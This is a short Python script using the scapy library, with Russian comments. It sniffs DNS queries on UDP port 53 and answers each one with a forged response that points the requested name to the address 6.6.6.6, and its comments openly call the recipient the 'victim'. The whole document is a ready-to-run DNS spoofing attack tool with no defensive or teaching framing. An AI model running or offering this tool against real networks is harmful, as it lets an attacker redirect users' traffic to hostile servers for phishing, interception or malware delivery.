from scapy.all import *
def dns_callback(pkt):
# Проверяем, что это DNS-запрос
if pkt.haslayer(DNSqr):
qname = pkt[DNSqr].qname.decode()
print(f"[*] Перехватили запрос на: {qname}")
# Формируем фальшивый ответ
# rdata="6.6.6.6" — это IP, который увидит жертва
reply = IP(dst=pkt[IP].src, src=pkt[IP].dst)/ \
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/ \
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,
an=DNSRR(rrname=qname, ttl=10, rdata="6.6.6.6"))
send(reply, verbose=0)
print(f"[+] Отправили фейковый IP: 6.6.6.6")
print("[!] Слушаю DNS-запросы (UDP 53)...")
sniff(filter="udp port 53", prn=dns_callback, store=0)